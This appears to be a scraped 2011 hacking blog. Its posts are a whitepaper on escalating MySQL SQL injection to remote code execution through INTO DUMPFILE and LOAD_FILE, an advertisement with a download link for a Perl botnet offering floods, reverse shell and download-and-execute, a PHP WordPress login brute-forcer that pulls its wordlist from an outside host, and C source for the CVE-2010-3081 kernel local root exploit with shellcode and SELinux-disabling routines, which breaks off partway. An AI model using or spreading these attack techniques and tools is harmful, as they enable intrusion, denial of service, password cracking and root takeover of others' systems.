Advanced MySQL Exploitation

8/30/2011 rahlabs 0

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<br />
Advanced Mysql Exploitation<br />
<br />
1Abstract...................................................................3<br />
2 Introduction .............................................................3<br />
3 Stacked Query.............................................................3<br />
4 Attacking MySQL on applications that do support stacked queries...........4<br />
5 Attacking MySQL on applications that do not support stacked queries.......5<br />
6 Fingerprinting the web server directory...................................7<br />
6.1 Fingerprint through error message method................................7<br />
6.2 Fingerprint by LOAD_FILE method....................................7<br />
7 Maximum size of arbitrary code allowed....................................7<br />
8 Arbitrary file compression/decompression .................................8<br />
9 Dealing with columns......................................................8<br />
10 Remote code execution on LAMP............................................9<br />
11 Remote code execution on WAMP............................................10<br />
References .................................................................11<br />
<h3>
1 Abstract</h3>
This document discusses in detail how SQL Injection vulnerabilities can be used to conduct remote code execution on the LAMP (Linux, Apache, MySQL, and PHP) or WAMP (Windows, Apache, MySQL and PHP) environments. Attackers performing SQL injection on a MySQL platform must deal with several limitations and constraints. For example, the lack of multiple statements in one query makes MySQL an unpopular platform for remote code execution, compared to other platforms. A lot of research has been performed in the last few years, concentrating on arbitrary code execution by attacking SQL Injection vulnerabilities. However, these types of attacks concentrate on the DBMS connectors that support stacked queries. This document will explain how different methods can be used to achieve the same result on a DBMS connector that does<br />
not support stacked queries.<br />
<h3>
2 Introduction</h3>
SQL injection is an attack where malicious code is injected into the SQL statement. SQL Injection attack allows a malicious user to retrieve the structure of the database and uncover information regarding the application’s operating environment. It has been proven that arbitrary code execution is the highest risk level a malicious user can achieve when conducting SQL injection attack. MySQL is a popular database server and acts as the database component of the LAMP (Linux, Apache, MySQL and PHP) and WAMP (Windows, Apache, MySQL and PHP) software stacks. DBMS connectors for this technology do not support stacked queries by default. This makes the same technique used to conduct remote code execution on platforms that support stacked queries, cannot be applied on this platform.<br />
<br />
<h3>
3 Stacked Query</h3>
Stacked query is a term to define if a database connection layer can execute more than one query at a time. Each query is separated by semicolon. The following example is an example of stacked queries in an SQL Injection attack:<br />
SELECT name FROM record WHERE id = 1; DROP table record; DROP table address--<br />
<br />
In the example above, there are three separate queries requested at one time. The first query is the actual query from the application. These queries are allowed when called within the database server. However, when this stacked query is called within the MySQL PHP application by default, an error message will be replayed back by the application and none of the queries will be executed.<br />
<h3>
4 Attacking MySQL on applications that do support stacked queries</h3>
It has been discovered that the MySQL UDF (User Define Function) library [4] creation technique, can be used to conduct remote code execution on applications which support stacked queries. This has been clearly explained by David Litchfield in The Database Hacker’s Handbook [5].<br />
At Blackhat Europe 2009, Bernando Damele explained the similar technique in detail. The steps below are taken from Bernando Damele’s whitepaper [6].<br />
1) Create a support table with one field, data-type longblob.<br />
2) Encode the local file content to its corresponding hexadecimal string.<br />
3) Split the hexadecimal encoded string into chunks long 1024 characters each<br />
4) INSERT [7] the first chunk into the support table's field.<br />
5) UPDATE [8] the support table's field by appending to the entry the chunks from the<br />
second to the last.<br />
<br />
<br />
6) Export the hexadecimal encoded file content from the support table's entry to the destination file path by using SELECT's INTO DUMPFILE [9] clause. This is possible because on MySQL, a query like SELECT 0x41 returns the corresponding ASCII character A. Here are some requirements to perform this action:<br />
1) DBMS connector must support stacked queries.<br />
2) Session user is required to have FILE [10], INSERT, CREATE [11] and UPDATE privileges.<br />
3) On some MySQL versions below 5.1.19, shared library [12] path must be writable by a session user. Prior knowledge of this directory is also required.<br />
4) On some MySQL versions 5.1.19 and above, system variable plugin_dir [13] must exist and be writable by a session user. Prior knowledge of this directory is also required.<br />
It has been known that there are some limitations to this technique. By default, MySQL Linux runs as a mysql user and the shared library path is not writable by this user.<br />
<br />
However, this behavior is not applied to MySQL on Windows. MySQL on Windows runsas a Local System user and by default, file created by this user can be overwritten onto any folder. For the recent versions of MySQL, the directory belonging to system variable plugin_dir does not exist. This directory is required to be created first and writable by a session user.<br />
<br />
<br />
<h3>
5 Attacking MySQL on applications that do not support stacked queries</h3>
Due to the unsupported stacked queries on MySQL-PHP platform, execution of another statement after the actual statement is not possible. However, execution of another SELECT statement is possible using UNION syntax [14]. UNION syntax is used to combine the result from multiple SELECT statements into a single result set. The statement below taken from MySQL 5.1 Refence Manual:<br />
SELECT<br />
[ALL | DISTINCT | DISTINCTROW ]<br />
[HIGH_PRIORITY]<br />
[STRAIGHT_JOIN]<br />
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]<br />
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]<br />
select_expr [, select_expr ...]<br />
[FROM table_references<br />
[WHERE where_condition]<br />
[GROUP BY {col_name | expr | position}<br />
[ASC | DESC], ... [WITH ROLLUP]]<br />
[HAVING where_condition]<br />
[ORDER BY {col_name | expr | position}<br />
[ASC | DESC], ...]<br />
[LIMIT {[offset,] row_count | row_count OFFSET offset}]<br />
[PROCEDURE procedure_name(argument_list)]6<br />
[INTO OUTFILE 'file_name' export_options<br />
| INTO DUMPFILE 'file_name'<br />
| INTO var_name [, var_name]]<br />
[FOR UPDATE | LOCK IN SHARE MODE]]<br />
<br />
It was discovered that only SELECT INTO DUMPFILE can be used to write arbitrary binary files onto the database server using UNION SELECT. When injecting this statement, only one statement can be used to create the whole file. Also, this file cannot be overwritten by calling another SELECT INTO DUMPFILE statement to write into the same file.<br />
The statement below taken from MySQL 5.1 Reference Manual:<br />
Only the last SELECT statement can use INTO OUTFILE/DUMPFILE. (However, the entire UNION result is written to the file.)<br />
Due to the nature of the UNION statement, results retrieved from the first query will be the first set of data to write into our arbitrary file.<br />
For example:<br />
SELECT content FROM data WHERE id=21 UNION SELECT 0x8A789C....... INTO DUMPFILE ‘file’<br />
If the first query returns any data, this data will overwrite the file header. To prevent this, we can inject any non existing value in the WHERE clause so no data would be extracted from the first query. This is to ensure that only our chosen data is written into the file. The file is also required to be located in a directory where we can execute it. In the case of a DBMS connector that does not support stacked queries, the best directory to upload this file onto an Apache web server directory. However, this is only possible in an environment where the MySQL database and Apache web server are on the same machine. By uploading onto the Apache web server directory, a PHP script can be used to execute the file using the SYSTEM function [15]. Here are some requirements to perform this action:<br />
1) Prior knowledge of the Apache web server directory.<br />
2) Session user is required to have FILE privilege.<br />
3) Session user is required to have access to write onto the web server directory.7<br />
<h3>
6 Fingerprinting the web server directory</h3>
In some cases where the web server root directory is not located in the default folder during the installation process, fingerprinting can be used to achieve this information. There are two methods that can be used to fingerprint the web server directory. It can be fingerprinted by forcing the application to return an error message or by loading the default<br />
location of the Apache configuration file.<br />
<br />
<br />
<h3>
6.1 Fingerprint through error message method</h3>
By default, custom error message is turned off by PHP. There are many ways to force the application to return an error message that contains internal information including the web server directory. For example, this error message can be generated by injecting a single quote as part of the SQL data. Here is an example of the error message returned by the<br />
PHP application when a single quote is injected, as part of the SQL data.<br />
Fatal error: Call to a member function execute() on a non-object in /var/www/output.php on line 15<br />
<br />
<h3>
6.2 Fingerprint through LOAD_FILE method</h3>
LOAD_FILE [16] can be used to read a file on the database server. To use this function, FILE privilege is required by the session user. The file must also be readable by all and its size must be less than max_allowed_packet bytes value in the Apache configuration file. A default apache configuration file meets this requirement. The DocumentRoot directive [17] in this file contains the path of the Apache web server root directory and can be used to disclose this information. Here is an example of the query to load an Apache configuration file on Apache version 2.2, in a default installation of Ubuntu Linux.<br />
SELECT LOAD_FILE('/etc/apache2/sites-available/default')<br />
7 Maximum size of arbitrary code allowed<br />
The LimitRequestLine directive [17] in the Apache configuration file allows the web server to reduce the size of an HTTP request . This includes all information passed in the query as part of the GET request. The default value for this directive is 8190 bytes. If the SQL Injection is discovered on the GET request and our query including the arbitrary code 8<br />
is larger than this value, Apache web server would response with the HTTP Status Code 414 and the request would not be processed. By default, the Apache web server sets the LimitRequestBody directive to 2GB [17]. This is the allowed size of an HTTP request message body. If the SQL Injection is discovered in a POST request, 2GB will give us enough room to upload our arbitrary code. Web application firewalls also have the ability to terminate a long request. This long request is normally detected as a buffer overflow attack.<br />
<br />
<h3>
8 Arbitrary file compression/decompression</h3>
PHP contains a module called Zlib [18] that can be used to read and write gzip compressed files. This module can be abused to compress the arbitrary file into a smaller file using the gzcompress function [19]. The Zlib module is able to compress our file from 9635 bytes to only 630 bytes. When the compressed file is successfully uploaded on the web server, gzuncompress function [20] can be used to decompress the file. However, this is only possible in an environment where the MySQL database and Apache web server are on the same machine.<br />
<br />
<h3>
9 Dealing with columns</h3>
A UNION clause will combine the result from multiple SELECT statements into a single result set. The two queries must have the same number of columns. Due to this reason, some unnecessary data will be added to our data which could potentially corrupt our file.<br />
For example:<br />
SELECT name, add, content FROM data WHERE id=21 UNION SELECT NULL,NULL, 0x8A789C....... INTO DUMPFILE ‘file’<br />
The result from the first query will be added into our compressed file. As mentioned in the section 5, we can inject any nonexisting value into the WHERE clause so there would be no data extracted from the first query. However, due to the extra columns required in this statement, any bad character data added into the first two columns also could potentially corrupt our file. To prevent our file header from being overwritten by any bad character data, we can add our data in the first column and inject any random data into the other columns as seen in the following example.<br />
9<br />
SELECT name, add, content FROM data WHERE id=4444 UNION SELECT 0x8A789C.........,0x00,0x00 INTO DUMPFILE ‘file’<br />
The first column in the example above is filled with our compressed arbitrary data. When Zlib library is used, the Adler32 checksum [21] will be found at the end of the compressed data in the first column . As mentioned in the RFC 1950 [22] , any data which may appear after the Adler32 checksum is not part of the Zlib stream. We can abuse this functionality by injecting any value into the other columns. This may help the compressed arbitrary file to be decompressed without having any issues.<br />
Another method is to ensure that all the arbitrary data is filled in sequence into all columns in the second query. It would not be an issue if one of the columns contains more data than the other columns as seen in the following example.<br />
SELECT name, add, content FROM data WHERE id=4444 UNION SELECT 0x8A, 0x78,0x9CED......9EEC....... INTO DUMPFILE ‘file’<br />
<br />
<h3>
10 Remote code execution on LAMP</h3>
Remote code execution on LAMP contains several limitations and constraints. By default, MySQL runs as a mysql user. Arbitrary files created through SELECT INTO DUMPFILE can only be uploaded onto the directory where the MySQL user is allowed to write onto. By default, the uploaded file is not executable but readable. This file also is owned by a mysql user. A PHP script can be used to read the file and write the same file content to a new file.<br />
This new file created is owned by the www-data user and the same PHP script can be used to change the permission of this file to be executable using the PHP SYSTEM function. To perform this action, this file needs to be uploaded onto the web server directory that is writable by MySQL and www-data users. By default, any directory created by other users are not writable by these users. In some cases, these directories are set to be writable. An example of this can be found in an application where a user is allowed to upload content onto the web server directories, through the file upload feature.<br />
If the writable directories can be discovered on the web server and the file is successfully uploaded, PHP script can be used to execute the malicious file using the PHP SYSTEM function.<br />
<h3>
11 Remote code execution on WAMP</h3>
Remote code execution on WAMP contains fewer limitations and constraints in order to function. By default, MySQL runs as a Local System user and files created through SELECT INTO DUMPFILE can be uploaded onto any of the web server directories. By<br />
default, this file is executable. Just like on the LAMP platform, PHP script can be used to execute the malicious file using the PHP SYSTEM function.</div>

Advanced Mysql Exploitation 1Abstract...................................................................3 2 Introduction ...............

Hybrid Botnet System v.1.0

8/25/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8vBDwFpvUQOyW4bSYjLCytrVzxkvHNMuaEd4ci3-FtOGlWl5vAxvSnPy0bEmEDsfDb-3Ez38mXRP3ydz946kCy7ptKsVf3y-_0jphZhYKmrKGGjf-_VzpOumPy7dOjvjCbky21zfMKJqi/s1600/3110990762_e5fce1c74c.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="261" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8vBDwFpvUQOyW4bSYjLCytrVzxkvHNMuaEd4ci3-FtOGlWl5vAxvSnPy0bEmEDsfDb-3Ez38mXRP3ydz946kCy7ptKsVf3y-_0jphZhYKmrKGGjf-_VzpOumPy7dOjvjCbky21zfMKJqi/s320/3110990762_e5fce1c74c.jpg" width="320" /></a></div><br />
<br />
The Hybrid Botnet System contains a perl bot and web administration panel. It uses only one perl module and can easily be compiled to run on a Linux host<br />
<br />
1. Sleep<br />
2. TCP Storm<br />
3. SYN Storm<br />
4. UDP Storm<br />
5. Delete bot from remote machine<br />
6. Reverse Shell<br />
7. E.R.T.E<br />
8. FTP Crack<br />
9. Download & Execute<br />
Get-> <a href="http://www.mediafire.com/?xdy2qi55y3aanuc">http://www.mediafire.com/?xdy2qi55y3aanuc</a><br />
<br />
<span class="Apple-style-span" style="color: black; font: x-small arial; letter-spacing: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;">Regards,<br />
Hardeep Singh<br />
(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)<br />
</span><br />
</div>

Botnet Malwares Hybrid Botnet System v.1.0

The Hybrid Botnet System contains a perl bot and web administration panel. It uses only one perl module and can easily be compiled to run ...

Wordpress Wp-admin Bruteforce

8/10/2011 rahlabs 0

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<br />
<h3>
Wordpress Wp-admin Bruteforce</h3>
<div class="program glow">
<pre><code class="prettyprint"><?php 
class wp
{
public $site; 
public $password; 
public $wordlist; 
public $siteler; 
public $regex = 'general.php'; 
public function wordlist() { 
$liste = file_get_contents("http://afrikanhosting.com/images/wp.txt"); 
$this->wordlist = explode("\n",$liste); 
return $this->wordlist; 
} 
public function curl($site,$password)
{
$curl = curl_init(); 
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1); 
curl_setopt($curl,CURLOPT_URL,$site."/wp-login.php"); 
curl_setopt($curl,CURLOPT_COOKIEJAR,"megaturks.dat"); 
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1); 
curl_setopt($curl,CURLOPT_POST,1); 
curl_setopt($curl,CURLOPT_POSTFIELDS,"log=admin&pwd=".$password."&redirect_to=".$site."/wp-admin/&testcookie=1"); 
$calis = curl_exec($curl); 
return $calis; 
} 
public function siteler($liste)
{ 
$site = file_get_contents($liste); 
$this->siteler = explode("\n",$site); return $this->siteler; 
} 
public function burtay($liste)
{ 
$this->siteler($liste); 
foreach($this->siteler as $sites)
{ 
$site = trim($sites); 
echo "Denenen Site : " . $site . "\n"; 
foreach($this->wordlist() as $sifre) 
{ 
$password = trim($sifre); 
echo "Denenen Sifre " . $password . "\n"; 
if ( eregi ($this->regex,$this->curl($site,$password)) )
{
echo "-------------------------------------\n"; 
echo $site . " icin sifre kirildi sifre : " . $password . "\n" ; 
echo "xxx\n"; 
echo "xxx\n"; 
echo "-------------------------------------\n"; 
break; 
}
}
}
}
}
echo " ------------------ xxxxx || xxx || ------------------ \n\n "; 
$class = new wp(); $class->burtay($argv[1]); 
?></code></pre>
</div>
<br />
<br />
Regards,<br />
Hardeep Singh<br />
(www.fb.com/h4rdeep)</div>

Bruteforce Cipher Web Development Wordpress Wordpress Wp-admin Bruteforce

Wordpress Wp-admin Bruteforce <?php class wp { public $site; public $password; public $wordlist; public $siteler; public $reg...

kernel-2.6.18-164 2010 Local Root Exploit

8/05/2011 rahlabs 0

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<br />
Kernel-2.6.18-164 2010 Local Root Exploit<br />
Save this code as a c program file.<br />
Code:<br />
<div class="program glow">
<pre><code class="prettyprint">
/*
kernel-2.6.18-164 2010 Local Root Exploit
=========================================
# Author: Hackeri-AL
# Email : h-al [at] hotmail [dot] it
# Group : UAH / United ALBANIA Hackers
# Web   : uah1.org.uk
# Greetz: LoocK3D - b4cKd00r ~
--------------------------------------------
Diagnostic test for CVE-2010-3081 public exploit
Greg Price, Ksplice, Inc.
Tests whether the system has previously been exposed to the exploit
published as &quot;hackerial.c&quot; by Hackeri-AL on 2010 Sep 15.  Based on the
original exploit code.
For more information, see
  <a href="http://www.ksplice.com/uptrack/cve-2010-3081">http://www.ksplice.com/uptrack/cve-2010-3081</a>
  
  Source: <a href="http://inj3ct0r.com/exploits/14333">http://inj3ct0r.com/exploits/14333</a>
*/
#include &lt;poll.h&gt;
#include &lt;string.h&gt;
#include &lt;unistd.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;sys/wait.h&gt;
#include &lt;sys/utsname.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;sched.h&gt;
#include &lt;netinet/in.h&gt;
#include &lt;stdio.h&gt;
#include &lt;sys/stat.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;sys/mman.h&gt;
#include &lt;sys/ipc.h&gt; 
#include &lt;sys/msg.h&gt;
#include &lt;sys/resource.h&gt;
#include &lt;errno.h&gt;

#define _GNU_SOURCE
#define __dgdhdytrg55 unsigned int
#define __yyrhdgdtfs66ytgetrfd unsigned long long
#define __dhdyetgdfstreg__ memcpy
#define BANNER &quot;Diagnostic tool for public CVE-2010-3081 exploit -- Ksplice, Inc.
&quot; 
               &quot;(see <a href="http://www.ksplice.com/uptrack/cve-2010-3081">http://www.ksplice.com/uptrack/cve-2010-3081</a>)
&quot; 
               &quot;
&quot;
#define KALLSYMS              &quot;/proc/kallsyms&quot;
#define TMAGIC_66TDFDRTS      &quot;/proc/timer_list&quot;
#define SELINUX_PATH          &quot;/selinux/enforce&quot;
#define RW_FOPS               &quot;timer_list_fops&quot;
#define PER_C_DHHDYDGTREM7765 &quot;per_cpu__current_task&quot;
#define PREPARE_GGDTSGFSRFSD  &quot;prepare_creds&quot;
#define OVERRIDE_GGDTSGFSRFSD &quot;override_creds&quot;
#define REVERT_DHDGTRRTEFDTD  &quot;revert_creds&quot;
#define Y0Y0SMAP              0x100000UL
#define Y0Y0CMAP              0x200000UL
#define Y0Y0STOP              (Y0Y0SMAP+0xFFC)
#define J0J0S                 0x00200000UL
#define J0J0R00T              0x002000F0UL
#define PAGE_SIZE             0x1000
#define KERN_DHHDYTMLADSFPYT     0x1
#define KERN_DGGDYDTEGGETFDRLAK  0x2
#define KERN_HHSYPPLORQTWGFD     0x4

#define KERN_DIS_GGDYYTDFFACVFD_IDT      0x8
#define KERN_DIS_DGDGHHYTTFSR34353_FOPS     0x10
#define KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM      0x20
#define KERN_DIS_GGSTEYGDTREFRET_SEL1NUX  0x40
#define isRHHGDPPLADSF(ver) (strstr(ver, &quot;.el4&quot;) || strstr(ver,&quot;.el5&quot;))
#define __gggdfstsgdt_dddex(f, a...) do { fprintf(stdout, f, ## a); } while(0)
#define __pppp_tegddewyfg(s) do { fprintf(stdout, &quot;%s&quot;, s); } while(0)
/* #define __print_verbose(s) do { fprintf(stdout, &quot;%s&quot;, s); } while(0) */
#define __print_verbose(s) do { } while (0)
#define __xxxfdgftr_hshsgdt(s) do { perror(s); exit(-1); } while(0)
#define __yyy_tegdtfsrer(s) do { fprintf(stderr, s); exit(-1); } while(0)
static char buffer[1024];
static int s;
static int flags=0;
volatile static socklen_t magiclen=0;
static int useidt=1, usefops=0, uselsm=0;
static __yyrhdgdtfs66ytgetrfd _m_fops=0,_m_cred[3] = {0,0,0};
static __dgdhdytrg55 _m_cpu_off=0;
static char krelease[64];
static char kversion[128];
#define R0C_0FF 14
static char ttrg0ccc[]=
&quot;x51x57x53x56x48x31xc9x48x89xf8x48x31xf6xbex41x41x41x41&quot;  
&quot;x3bx30x75x1fx3bx70x04x75x1ax3bx70x08x75x15x3bx70x0c&quot;   
&quot;x75x10x48x31xdbx89x18x89x58x04x89x58x08x89x58x0cxebx11&quot;     
&quot;x48xffxc0x48xffxc1x48x81xf9x4cx04x00x00x74x02&quot;                   
&quot;xebxccx5ex5bx5fx59xc3&quot;;

#define R0YTTTTUHLFSTT_OFF1 5
#define R0YGGSFDARTDF_DHDYTEGRDFD_D 21
#define R0TDGFSRSLLSJ_SHSYSTGD 45
char r1ngrrrrrrr[]=
&quot;x53x52x57x48xbbx41x41x41x41x41x41x41x41xffxd3&quot;                                 
&quot;x50x48x89xc7x48xbbx42x42x42x42x42x42x42x42&quot;  
&quot;xffxd3x48x31xd2x89x50x04x89x50x14x48x89xc7&quot;                              
&quot;x48xbbx43x43x43x43x43x43x43x43&quot;   
&quot;xffxd3x5fx5fx5ax5bxc3&quot;;

#define RJMPDDTGR_OFF 13
#define RJMPDDTGR_DHDYTGSCAVSF 7
#define RJMPDDTGR_GDTDGTSFRDFT 25
static char ttrfd0[]=
&quot;x57x50x65x48x8bx3cx25x00x00x00x00&quot;
&quot;x48xb8x41x41x41x41x41x41x41x41xffxd0&quot;                      
&quot;x58x5f&quot;
&quot;x90x90x90x90x90x90x90x90x90x90&quot;
&quot;x90x90x90x90x90x90x90x90x90x90&quot;
&quot;x90x90x90x90x90x90x90x90x90x90&quot;
&quot;x90x90x90x90x90x90x90x90x90x90&quot;
&quot;x90x90x90x90x90x90x90x90x90x90&quot;
&quot;xc3&quot;;

/* implement selinux bypass for IDT ! */
#define RJMPDDTGR_OFF_IDT 14
#define RJMPDDTGR_DYHHTSFDARE 8
#define RJMPDDTGR_DHDYSGTSFDRTAC_SE 27
static char ruujhdbgatrfe345[]=
&quot;x0fx01xf8x65x48x8bx3cx25x00x00x00x00&quot;      
&quot;x48xb8x41x41x41x41x41x41x41x41xffxd0&quot;                                  
&quot;x0fx01xf8&quot;
&quot;x90x90x90x90x90x90x90x90x90x90&quot;
&quot;x90x90x90x90x90x90x90x90x90x90&quot;
&quot;x90x90x90x90x90x90x90x90x90x90&quot;
&quot;x90x90x90x90x90x90x90x90x90x90&quot;
&quot;x90x90x90x90x90x90x90x90x90x90&quot;
&quot;x48xcf&quot;;

#define CJE_4554TFFDTRMAJHD_OFF  10
#define RJMPDDTGR_AYYYDGTREFCCV7761_OF      23
static char dis4blens4sel1nuxhayettgdr64545[]=
&quot;x41x52x50&quot;
&quot;xb8x00x00x00x00&quot;
&quot;x49xbax41x41x41x41x41x41x41x41&quot;
&quot;x41x89x02&quot;
&quot;x49xbax42x42x42x42x42x42x42x42&quot;
&quot;x41x89x02&quot;
&quot;x58x41x5a&quot;;

/* rhel LSM stuffs */
#define RHEL_LSM_OFF 98
struct LSM_rhel 
{ 
  __yyrhdgdtfs66ytgetrfd selinux_ops;
  __yyrhdgdtfs66ytgetrfd capability_ops;
  __yyrhdgdtfs66ytgetrfd dummy_security_ops;
  __yyrhdgdtfs66ytgetrfd selinux_enforcing;
  __yyrhdgdtfs66ytgetrfd audit_enabled;
  const char *krelease; 
  const char *kversion;

};
struct LSM_rhel known_targets[4]=
{
  {
    0xffffffff8031e600ULL,
    0xffffffff8031fec0ULL,
    0xffffffff804acc00ULL,
    0xffffffff804af960ULL,
    0xffffffff8049b124ULL,
    &quot;2.6.18-164.el5&quot;,
    &quot;#1 SMP Thu Sep 3 03:28:30 EDT 2009&quot;  // to manage minor/bug fix changes
  },
  {
   0xffffffff8031f600ULL,
   0xffffffff80320ec0ULL,
   0xffffffff804afc00ULL,
   0xffffffff804b2960ULL,
   0xffffffff8049e124ULL,
   &quot;2.6.18-164.11.1.el5&quot;,
   &quot;#1 SMP Wed Jan 6 13:26:04 EST 2010&quot;
  },
  {
    0xffffffff805296a0ULL,
    0xffffffff8052af60ULL,
    0xffffffff806db1e0ULL,
    0xffffffff806ddf40ULL,
    0xffffffff806d5324ULL,
    &quot;2.6.18-164.11.1.el5xen&quot;,
    &quot;#1 SMP Wed Jan 20 08:06:04 EST 2010&quot;   // default xen
  },
  {
    0xffffffff8031f600ULL,// d selinux_ops
    0xffffffff80320ec0ULL,// d capability_ops
    0xffffffff804afc00ULL,// B dummy_security_ops
    0xffffffff804b2960ULL,// B selinux_enforcing
    0xffffffff8049e124ULL,// B audit_enabled
    &quot;2.6.18-164.11.1.el5&quot;,
    &quot;#1 SMP Wed Jan 20 07:32:21 EST 2010&quot; // tripwire target LoL
   }
};
static struct LSM_rhel *curr_target=NULL, dyn4nt4n1labeggeyrthryt;
static int isSelinuxEnabled()
{
  FILE *selinux_f;
  selinux_f = fopen(SELINUX_PATH, &quot;r&quot;);
  if(selinux_f == NULL)
  {
    if(errno == EPERM)
      return 1;
    else 
     return 0;
  }
  fclose(selinux_f);
  return 1;
}
static int wtfyourunhere_heee(char *out_release, char* out_version)
{
 int ret; const char*ptr;
 int count=0;
 char r[32], *bptr;
 struct utsname buf;
 ret =  uname(&amp;buf);
 if(ret &lt; 0)
   return -1;

strcpy(out_release, buf.release);
 strcpy(out_version, buf.version);
 ptr = buf.release;
 bptr = r;
 memset(r, 0x00, sizeof(r)); 
 while(*ptr)
 {
   if(count == 2)
    {
      if(*ptr &gt;= &#039;0&#039; &amp;&amp; *ptr &lt;= &#039;9&#039;)
        *bptr++ = *ptr;
      else
        break;
    }

if(*ptr == &#039;.&#039;)
     count++;
   ptr++;
 }
 if(strlen(r) &lt; 1 || !atoi(r))
   return -1; 
 return atoi(r); 
}

static void p4tch_sel1nux_codztegfaddczda(struct LSM_rhel *table)
{
  *((__yyrhdgdtfs66ytgetrfd *)(dis4blens4sel1nuxhayettgdr64545 + CJE_4554TFFDTRMAJHD_OFF)) = table-&gt;selinux_enforcing;
  *((__yyrhdgdtfs66ytgetrfd *)(dis4blens4sel1nuxhayettgdr64545 + RJMPDDTGR_AYYYDGTREFCCV7761_OF)) = table-&gt;audit_enabled;
  __dhdyetgdfstreg__(ttrfd0 + RJMPDDTGR_GDTDGTSFRDFT, dis4blens4sel1nuxhayettgdr64545, sizeof(dis4blens4sel1nuxhayettgdr64545)-1); 
  __dhdyetgdfstreg__(ruujhdbgatrfe345 + RJMPDDTGR_DHDYSGTSFDRTAC_SE, dis4blens4sel1nuxhayettgdr64545, sizeof(dis4blens4sel1nuxhayettgdr64545)-1); 
}

static __yyrhdgdtfs66ytgetrfd get_sym_ex(const char* s, const char* filename, int ignore_flag)
{
  FILE *ka;
  char line[512];
  char reloc_a[64];
  char reloc[64];
  if(!(flags &amp; KERN_HHSYPPLORQTWGFD) &amp;&amp; !ignore_flag)
    return 0;
  
  ka = fopen(filename, &quot;r&quot;);
  if(!ka)
    return 0;
  while(fgets(line, 512, ka) != NULL)
  {
    char *l_p  = line;
    char *ra_p = reloc_a;
    char *r_p    = reloc;
    memset(reloc, 0x00, sizeof(reloc));
    memset(reloc_a, 0x00, sizeof(reloc_a));
    while(*l_p != &#039; &#039; &amp;&amp; (ra_p - reloc_a)  &lt; 64)
      *ra_p++ = *l_p++;  
    l_p += 3;
    while(*l_p != &#039; &#039; &amp;&amp; *l_p != &#039;
&#039; &amp;&amp; *l_p != &#039; &#039; &amp;&amp; (r_p - reloc) &lt; 64)
      *r_p++ = *l_p++;
    if(!strcmp(reloc, s))
    {
      return strtoull(reloc_a, NULL, 16); 
    }
  }
  return 0; 
}

static inline __yyrhdgdtfs66ytgetrfd get_sym(const char* s)
{
  return get_sym_ex(s, KALLSYMS, 0);
}
static int parse_cred(const char* val)
{
  int i=0;
  const char* p = val;
  char local[64], *l;
  for(i=0; i&lt;3; i++)  
  {
    memset(local, 0x00, sizeof(local));
    l = local;
    while(*p &amp;&amp; *p != &#039;,&#039;)
      *l++ = *p++;
    if(!(*p) &amp;&amp; i != 2)
      return -1;
    _m_cred[i] = strtoull(local, NULL, 16);
    p++;
  }

return 0; 
}

#define SELINUX_OPS        &quot;selinux_ops&quot;
#define DUMMY_SECURITY_OPS &quot;dummy_security_ops&quot;
#define CAPABILITY_OPS     &quot;capability_ops&quot;
#define SELINUX_ENFORCING  &quot;selinux_enforcing&quot;
#define AUDIT_ENABLED      &quot;audit_enabled&quot;
struct LSM_rhel *lsm_rhel_find_target(int check_rhel)
{
   int i;
   char mapbuf[128];
   struct LSM_rhel *lsm = &amp;(known_targets[0]);
   if(check_rhel &amp;&amp; !isRHHGDPPLADSF(krelease))
   {
     __pppp_tegddewyfg(&quot;!!! Not a RHEL kernel, will skip LSM method 
&quot;);
     return NULL;
   }
   __print_verbose(&quot;$$$ Looking for known RHEL kernels.. 
&quot;);
   for(i=0; i&lt;sizeof(known_targets)/sizeof(struct LSM_rhel); i++, lsm++)
   {
     if(!strcmp(krelease, lsm-&gt;krelease) &amp;&amp; !strcmp(kversion, lsm-&gt;kversion))
     {
       __gggdfstsgdt_dddex(&quot;$$$ Known target kernel: %s %s 
&quot;, lsm-&gt;krelease, lsm-&gt;kversion);
       return lsm;
     }
   }
   __print_verbose(&quot;$$$ Locating symbols for new target...
&quot;);
   strcpy(mapbuf, &quot;/boot/System.map-&quot;);
   strcat(mapbuf, krelease);
   dyn4nt4n1labeggeyrthryt.selinux_ops        = get_sym_ex(SELINUX_OPS, mapbuf, 1);
   dyn4nt4n1labeggeyrthryt.dummy_security_ops = get_sym_ex(DUMMY_SECURITY_OPS, mapbuf, 1);
   dyn4nt4n1labeggeyrthryt.capability_ops     = get_sym_ex(CAPABILITY_OPS, mapbuf, 1);
   dyn4nt4n1labeggeyrthryt.selinux_enforcing  = get_sym_ex(SELINUX_ENFORCING, mapbuf, 1);
   dyn4nt4n1labeggeyrthryt.audit_enabled      = get_sym_ex(AUDIT_ENABLED, mapbuf, 1);

if(!dyn4nt4n1labeggeyrthryt.selinux_ops ||
      !dyn4nt4n1labeggeyrthryt.dummy_security_ops ||
      !dyn4nt4n1labeggeyrthryt.capability_ops ||
      !dyn4nt4n1labeggeyrthryt.selinux_enforcing ||
      !dyn4nt4n1labeggeyrthryt.audit_enabled)
 return NULL;

return &amp;dyn4nt4n1labeggeyrthryt;
}
void error_no_symbol(const char *symbol)
{
  fprintf(stderr,
          &quot;!!! Could not find symbol: %s
&quot;
          &quot;
&quot;
          &quot;A symbol required by the published exploit for CVE-2010-3081 is not
&quot;
          &quot;provided by your kernel.  The exploit would not work on your system.
&quot;,
          symbol);
  exit(-1);
}
static void put_your_hands_up_hooker(int argc, char *argv[])
{
  int fd,ver,ret;
  char __b[16];

fd = open(KALLSYMS, O_RDONLY);
  ret = read(fd, __b, 16); // dummy read
  if((fd &gt;= 0 &amp;&amp; ret &gt; 0))
  {
    __print_verbose(&quot;$$$ can read /proc/kallsyms, will use for convenience
